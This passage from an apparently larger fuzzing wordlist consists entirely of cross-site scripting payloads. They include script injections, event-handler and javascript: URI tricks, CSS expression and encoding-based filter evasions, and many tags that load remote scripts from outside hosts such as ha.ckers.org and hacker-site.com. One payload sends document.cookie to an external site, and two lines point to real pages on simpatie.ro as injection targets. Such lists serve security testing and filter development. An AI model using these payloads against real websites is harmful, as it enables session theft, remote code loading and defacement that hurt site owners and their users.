  2152. <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
  2153. <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
  2154. "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
  2155. '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
  2156. <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
  2157. '><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
  2158. "><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
  2159. \'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
  2160. http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
  2161. http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
  2162. '); alert('xss'); var x='
  2163. \\'); alert(\'xss\');var x=\'
  2164. //--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
  2165. >"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
  2166. <img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img>
  2167. </body>
  2168. </html>
  2169. <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
  2170. <SCRIPT> alert(“XSS”); </SCRIPT>
  2171. <BODY ONLOAD=alert("XSS")>
  2172. <BODY BACKGROUND="javascript:alert('XSS')">
  2173. <IMG SRC="javascript:alert('XSS');">
  2174. <IMG DYNSRC="javascript:alert('XSS')">
  2175. <IMG LOWSRC="javascript:alert('XSS')">
  2176. <IFRAME SRC=”http://hacker-site.com/xss.html”>
  2177. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  2178. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  2179. <TABLE BACKGROUND="javascript:alert('XSS')">
  2180. <TD BACKGROUND="javascript:alert('XSS')">
  2181. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  2182. <DIV STYLE="width: expression(alert('XSS'));">
  2183. <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
  2184. <EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
  2185. &apos;;alert(String.fromCharCode(88,83,83))//\&apos;;alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;&quot;&gt;&apos;&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
  2186. &apos;&apos;;!--&quot;&lt;XSS&gt;=&amp;{()}
  2187. &lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;
  2188. &lt;SCRIPT SRC=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;
  2189. &lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
  2190. &lt;BASE HREF=&quot;javascript:alert(&apos;XSS&apos;);//&quot;&gt;
  2191. &lt;BGSOUND SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2192. &lt;BODY BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2193. &lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;
  2194. &lt;DIV STYLE=&quot;background-image: url(javascript:alert(&apos;XSS&apos;))&quot;&gt;
  2195. &lt;DIV STYLE=&quot;background-image: url(&amp;#1;javascript:alert(&apos;XSS&apos;))&quot;&gt;
  2196. &lt;DIV STYLE=&quot;width: expression(alert(&apos;XSS&apos;));&quot;&gt;
  2197. &lt;FRAMESET&gt;&lt;FRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/FRAMESET&gt;
  2198. &lt;IFRAME SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;&lt;/IFRAME&gt;
  2199. &lt;INPUT TYPE=&quot;IMAGE&quot; SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2200. &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2201. &lt;IMG SRC=javascript:alert(&apos;XSS&apos;)&gt;
  2202. &lt;IMG DYNSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2203. &lt;IMG LOWSRC=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2204. &lt;IMG SRC=&quot;http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&quot;&gt;
  2205. Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;deleteuser
  2206. exp/*&lt;XSS STYLE=&apos;no\xss:noxss(&quot;*//*&quot;);
  2207. &lt;STYLE&gt;li {list-style-image: url(&quot;javascript:alert(&#39;XSS&#39;)&quot;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
  2208. &lt;IMG SRC=&apos;vbscript:msgbox(&quot;XSS&quot;)&apos;&gt;
  2209. &lt;LAYER SRC=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/LAYER&gt;
  2210. &lt;IMG SRC=&quot;livescript:[code]&quot;&gt;
  2211. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
  2212. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2213. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&gt;
  2214. &lt;META HTTP-EQUIV=&quot;refresh&quot; CONTENT=&quot;0; URL=http://;URL=javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2215. &lt;IMG SRC=&quot;mocha:[code]&quot;&gt;
  2216. &lt;OBJECT TYPE=&quot;text/x-scriptlet&quot; DATA=&quot;http://ha.ckers.org/scriptlet.html&quot;&gt;&lt;/OBJECT&gt;
  2217. &lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert(&apos;XSS&apos;)&gt;&lt;/OBJECT&gt;
  2218. &lt;EMBED SRC=&quot;http://ha.ckers.org/xss.swf&quot; AllowScriptAccess=&quot;always&quot;&gt;&lt;/EMBED&gt;
  2219. a=&quot;get&quot;;&amp;#10;b=&quot;URL(&quot;&quot;;&amp;#10;c=&quot;javascript:&quot;;&amp;#10;d=&quot;alert(&apos;XSS&apos;);&quot;)&quot;;&#10;eval(a+b+c+d);
  2220. &lt;STYLE TYPE=&quot;text/javascript&quot;&gt;alert(&apos;XSS&apos;);&lt;/STYLE&gt;
  2221. &lt;IMG STYLE=&quot;xss:expr/*XSS*/ession(alert(&apos;XSS&apos;))&quot;&gt;
  2222. &lt;XSS STYLE=&quot;xss:expression(alert(&apos;XSS&apos;))&quot;&gt;
  2223. &lt;STYLE&gt;.XSS{background-image:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;);}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
  2224. &lt;STYLE type=&quot;text/css&quot;&gt;BODY{background:url(&quot;javascript:alert(&apos;XSS&apos;)&quot;)}&lt;/STYLE&gt;
  2225. &lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2226. &lt;LINK REL=&quot;stylesheet&quot; HREF=&quot;http://ha.ckers.org/xss.css&quot;&gt;
  2227. &lt;STYLE&gt;@import&apos;http://ha.ckers.org/xss.css&apos;;&lt;/STYLE&gt;
  2228. &lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet&quot;&gt;
  2229. &lt;STYLE&gt;BODY{-moz-binding:url(&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;)}&lt;/STYLE&gt;
  2230. &lt;TABLE BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TABLE&gt;
  2231. &lt;TABLE&gt;&lt;TD BACKGROUND=&quot;javascript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/TD&gt;&lt;/TABLE&gt;
  2232. &lt;HTML xmlns:xss&gt;
  2233. &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;![CDATA[&lt;IMG SRC=&quot;javas]]&gt;&lt;![CDATA[cript:alert(&apos;XSS&apos;);&quot;&gt;]]&gt;
  2234. &lt;XML ID=&quot;xss&quot;&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=&quot;javas&lt;!-- --&gt;cript:alert(&apos;XSS&apos;)&quot;&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
  2235. &lt;XML SRC=&quot;http://ha.ckers.org/xsstest.xml&quot; ID=I&gt;&lt;/XML&gt;
  2236. &lt;HTML&gt;&lt;BODY&gt;
  2237. &lt;!--[if gte IE 4]&gt;              
  2238. &lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=&lt;SCRIPT&gt;alert(&apos;XSS&apos;)&lt;/SCRIPT&gt;&quot;&gt;
  2239. &lt;XSS STYLE=&quot;behavior: url(http://ha.ckers.org/xss.htc);&quot;&gt;
  2240. &lt;SCRIPT SRC=&quot;http://ha.ckers.org/xss.jpg&quot;&gt;&lt;/SCRIPT&gt;
  2241. &lt;!--#exec cmd=&quot;/bin/echo &apos;&lt;SCRIPT SRC&apos;&quot;--&gt;&lt;!--#exec cmd=&quot;/bin/echo &apos;=http://ha.ckers.org/xss.js&gt;&lt;/SCRIPT&gt;&apos;&quot;--&gt;
  2242. &lt;? echo(&apos;&lt;SCR)&apos;;
  2243. &lt;BR SIZE=&quot;&amp;{alert(&apos;XSS&apos;)}&quot;&gt;
  2244. &lt;IMG SRC=JaVaScRiPt:alert(&apos;XSS&apos;)&gt;
  2245. &lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;
  2246. &lt;IMG SRC=`javascript:alert(&quot;RSnake says, &apos;XSS&apos;&quot;)`&gt;
  2247. &lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;
  2248. &lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;
  2249. &lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;
  2250. &lt;DIV STYLE=&quot;background-image:\0075\0072\006C\0028&apos;\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029&apos;\0029&quot;&gt;
  2251. &lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;
  2252. &lt;HEAD&gt;&lt;META HTTP-EQUIV=&quot;CONTENT-TYPE&quot; CONTENT=&quot;text/html; charset=UTF-7&quot;&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert(&apos;XSS&apos;);+ADw-/SCRIPT+AD4-
  2253. \&quot;;alert(&apos;XSS&apos;);//
  2254. &lt;/TITLE&gt;&lt;SCRIPT&gt;alert("XSS");&lt;/SCRIPT&gt;
  2255. &lt;STYLE&gt;@im\port&apos;\ja\vasc\ript:alert(&quot;XSS&quot;)&apos;;&lt;/STYLE&gt;
  2256. &lt;IMG SRC=&quot;jav&#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
  2257. &lt;IMG SRC=&quot;jav&amp;#x09;ascript:alert(&apos;XSS&apos;);&quot;&gt;
  2258. &lt;IMG SRC=&quot;jav&amp;#x0A;ascript:alert(&apos;XSS&apos;);&quot;&gt;
  2259. &lt;IMG SRC=&quot;jav&amp;#x0D;ascript:alert(&apos;XSS&apos;);&quot;&gt;
  2260. &lt;IMG&#x0D;SRC&#x0D;=&#x0D;&quot;&#x0D;j&#x0D;a&#x0D;v&#x0D;a&#x0D;s&#x0D;c&#x0D;r&#x0D;i&#x0D;p&#x0D;t&#x0D;:&#x0D;a&#x0D;l&#x0D;e&#x0D;r&#x0D;t&#x0D;(&#x0D;&apos;&#x0D;X&#x0D;S&#x0D;S&#x0D;&apos;&#x0D;)&#x0D;&quot;&#x0D;&gt;&#x0D;
  2261. perl -e &apos;print &quot;&lt;IMG SRC=java\0script:alert(&quot;XSS&quot;)>&quot;;&apos;&gt; out
  2262. perl -e &apos;print &quot;&amp;&lt;SCR\0IPT&gt;alert(&quot;XSS&quot;)&lt;/SCR\0IPT&gt;&quot;;&apos; &gt; out
  2263. &lt;IMG SRC=&quot; &amp;#14;  javascript:alert(&apos;XSS&apos;);&quot;&gt;
  2264. &lt;SCRIPT/XSS SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2265. &lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
  2266. &lt;SCRIPT SRC=http://ha.ckers.org/xss.js
  2267. &lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
  2268. &lt;IMG SRC=&quot;javascript:alert(&apos;XSS&apos;)&quot;
  2269. &lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
  2270. &lt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;
  2271. &lt;IMG &quot;&quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;
  2272. &lt;SCRIPT&gt;a=/XSS/
  2273. &lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2274. &lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2275. &lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2276. &lt;SCRIPT &quot;a=&apos;&gt;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2277. &lt;SCRIPT a=`&gt;` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2278. &lt;SCRIPT&gt;document.write(&quot;&lt;SCRI&quot;);&lt;/SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2279. &lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
  2280. &lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS&lt;/A&gt;
  2281. &lt;A HREF=&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS&lt;/A&gt;
  2282. &lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS&lt;/A&gt;
  2283. &lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS&lt;/A&gt;
  2284. &lt;A HREF=&quot;http://0102.0146.0007.00000223/&quot;&gt;XSS&lt;/A&gt;
  2285. &lt;A HREF=&quot;h&#x0A;tt&#09;p://6&amp;#09;6.000146.0x7.147/&quot;&gt;XSS&lt;/A&gt;
  2286. &lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS&lt;/A&gt;
  2287. &lt;A HREF=&quot;//google&quot;&gt;XSS&lt;/A&gt;
  2288. &lt;A HREF=&quot;http://ha.ckers.org@google&quot;&gt;XSS&lt;/A&gt;
  2289. &lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS&lt;/A&gt;
  2290. &lt;A HREF=&quot;http://google.com/&quot;&gt;XSS&lt;/A&gt;
  2291. &lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS&lt;/A&gt;
  2292. &lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS&lt;/A&gt;
  2293. &lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS&lt;/A&gt;
  2294. <script>document.vulnerable=true;</script>
  2295. <img SRC="jav ascript:document.vulnerable=true;">
  2296. <img SRC="javascript:document.vulnerable=true;">
  2297. <img SRC=" &#14; javascript:document.vulnerable=true;">
  2298. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
  2299. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
  2300. <script <B>document.vulnerable=true;</script>
  2301. <img SRC="javascript:document.vulnerable=true;"
  2302. <iframe src="javascript:document.vulnerable=true; <
  2303. <script>a=/XSS/\ndocument.vulnerable=true;</script>
  2304. \";document.vulnerable=true;;//
  2305. </title><SCRIPT>document.vulnerable=true;</script>
  2306. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
  2307. <body BACKGROUND="javascript:document.vulnerable=true;">
  2308. <body ONLOAD=document.vulnerable=true;>
  2309. <img DYNSRC="javascript:document.vulnerable=true;">
  2310. <img LOWSRC="javascript:document.vulnerable=true;">
  2311. <bgsound SRC="javascript:document.vulnerable=true;">
  2312. <br SIZE="&{document.vulnerable=true}">
  2313. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
  2314. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
  2315. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
  2316. <img SRC='vbscript:document.vulnerable=true;'>
  2317. 1script3document.vulnerable=true;1/script3
  2318. <meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
  2319. <meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
  2320. <IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
  2321. <FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
  2322. <table BACKGROUND="javascript:document.vulnerable=true;">
  2323. <table><TD BACKGROUND="javascript:document.vulnerable=true;">
  2324. <div STYLE="background-image: url(javascript:document.vulnerable=true;)">
  2325. <div STYLE="background-image: url(&#1;javascript:document.vulnerable=true;)">
  2326. <div STYLE="width: expression(document.vulnerable=true);">
  2327. <style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
  2328. <img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
  2329. <XSS STYLE="xss:expression(document.vulnerable=true)">
  2330. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(document.vulnerable=true)'>
  2331. <style TYPE="text/javascript">document.vulnerable=true;</style>
  2332. <style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><A CLASS=XSS></a>
  2333. <style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
  2334. <!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
  2335. <base HREF="javascript:document.vulnerable=true;//">
  2336. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true></object>
  2337. <XML ID=I><X><C><![<IMG SRC="javas]]<![cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></span>
  2338. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></span>
  2339. <html><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>document.vulnerable=true</SCRIPT>"></BODY></html>
  2340. <? echo('<SCR)';echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
  2341. <meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
  2342. <head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=true;+ADw-/SCRIPT+AD4-
  2343. <a href="javascript#document.vulnerable=true;">
  2344. <div onmouseover="document.vulnerable=true;">
  2345. <img src="javascript:document.vulnerable=true;">
  2346. <img dynsrc="javascript:document.vulnerable=true;">
  2347. <input type="image" dynsrc="javascript:document.vulnerable=true;">
  2348. <bgsound src="javascript:document.vulnerable=true;">
  2349. &<script>document.vulnerable=true;</script>
  2350. &{document.vulnerable=true;};
  2351. <img src=&{document.vulnerable=true;};>
  2352. <link rel="stylesheet" href="javascript:document.vulnerable=true;">
  2353. <iframe src="vbscript:document.vulnerable=true;">
  2354. <img src="mocha:document.vulnerable=true;">
  2355. <img src="livescript:document.vulnerable=true;">
  2356. <a href="about:<script>document.vulnerable=true;</script>">
  2357. <meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
  2358. <body onload="document.vulnerable=true;">
  2359. <div style="background-image: url(javascript:document.vulnerable=true;);">
  2360. <div style="behaviour: url([link to code]);">
  2361. <div style="binding: url([link to code]);">
  2362. <div style="width: expression(document.vulnerable=true;);">
  2363. <style type="text/javascript">document.vulnerable=true;</style>
  2364. <object classid="clsid:..." codebase="javascript:document.vulnerable=true;">
  2365. <style><!--</style><script>document.vulnerable=true;//--></script>
  2366. <<script>document.vulnerable=true;</script>
  2367. <![<!--]]<script>document.vulnerable=true;//--></script>
  2368. <!-- -- --><script>document.vulnerable=true;</script><!-- -- -->
  2369. <img src="blah"onmouseover="document.vulnerable=true;">
  2370. <img src="blah>" onmouseover="document.vulnerable=true;">
  2371. <xml src="javascript:document.vulnerable=true;">
  2372. <xml id="X"><a><b><script>document.vulnerable=true;</script>;</b></a></xml>
  2373. <div datafld="b" dataformatas="html" datasrc="#X"></div>
  2374. [\xC0][\xBC]script>document.vulnerable=true;[\xC0][\xBC]/script>
  2375. <style>@import'http://www.securitycompass.com/xss.css';</style>
  2376. <meta HTTP-EQUIV="Link" Content="<http://www.securitycompass.com/xss.css>; REL=stylesheet">
  2377. <style>BODY{-moz-binding:url("http://www.securitycompass.com/xssmoz.xml#xss")}</style>
  2378. <OBJECT TYPE="text/x-scriptlet" DATA="http://www.securitycompass.com/scriptlet.html"></object>
  2379. <HTML xmlns:xss><?import namespace="xss" implementation="http://www.securitycompass.com/xss.htc"><xss:xss>XSS</xss:xss></html>
  2380. <script SRC="http://www.securitycompass.com/xss.jpg"></script>
  2381. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://www.securitycompass.com/xss.js></SCRIPT>'"-->
  2382. <script a=">" SRC="http://www.securitycompass.com/xss.js"></script>
  2383. <script =">" SRC="http://www.securitycompass.com/xss.js"></script>
  2384. <script a=">" '' SRC="http://www.securitycompass.com/xss.js"></script>
  2385. <script "a='>'" SRC="http://www.securitycompass.com/xss.js"></script>
  2386. <script a=`>` SRC="http://www.securitycompass.com/xss.js"></script>
  2387. <script a=">'>" SRC="http://www.securitycompass.com/xss.js"></script>
  2388. <script>document.write("<SCRI");</SCRIPT>PT SRC="http://www.securitycompass.com/xss.js"></script>
  2389. <div style="binding: url(http://www.securitycompass.com/xss.js);"> [Mozilla]
  2390. &quot;&gt;&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;XSS&quot;)&gt;
  2391. &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
  2392. &lt;/br style=a:expression(alert())&gt;
  2393. &lt;scrscriptipt&gt;alert(1)&lt;/scrscriptipt&gt;
  2394. &lt;br size=\&quot;&amp;{alert(&#039;XSS&#039;)}\&quot;&gt;
  2395. perl -e &#039;print \&quot;&lt;IMG SRC=java\0script:alert(\&quot;XSS\&quot;)&gt;\&quot;;&#039; &gt; out
  2396. perl -e &#039;print \&quot;&lt;SCR\0IPT&gt;alert(\&quot;XSS\&quot;)&lt;/SCR\0IPT&gt;\&quot;;&#039; &gt; out
  2397. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2398. <~/XSS/*-*/STYLE=xss:e/**/xpression(window.location="http://www.procheckup.com/?sid="%2bdocument.cookie)>
  2399. <~/XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2400. <~/XSS STYLE=xss:expression(alert('XSS'))>
  2401. "><script>alert('XSS')</script>
  2402. </XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2403. XSS/*-*/STYLE=xss:e/**/xpression(alert('XSS'))>
  2404. XSS STYLE=xss:e/**/xpression(alert('XSS'))>
  2405. </XSS STYLE=xss:expression(alert('XSS'))>
  2406. ';;alert(String.fromCharCode(88,83,83))//\';;alert(String.fromCharCode(88,83,83))//";;alert(String.fromCharCode(88,83,83))//\";;alert(String.fromCharCode(88,83,83))//-->;<;/SCRIPT>;";>;';>;<;SCRIPT>;alert(String.fromCharCode(88,83,83))<;/SCRIPT>;
  2407. ';';;!--";<;XSS>;=&;{()}
  2408. <;SCRIPT>;alert(';XSS';)<;/SCRIPT>;
  2409. <;SCRIPT SRC=http://ha.ckers.org/xss.js>;<;/SCRIPT>;
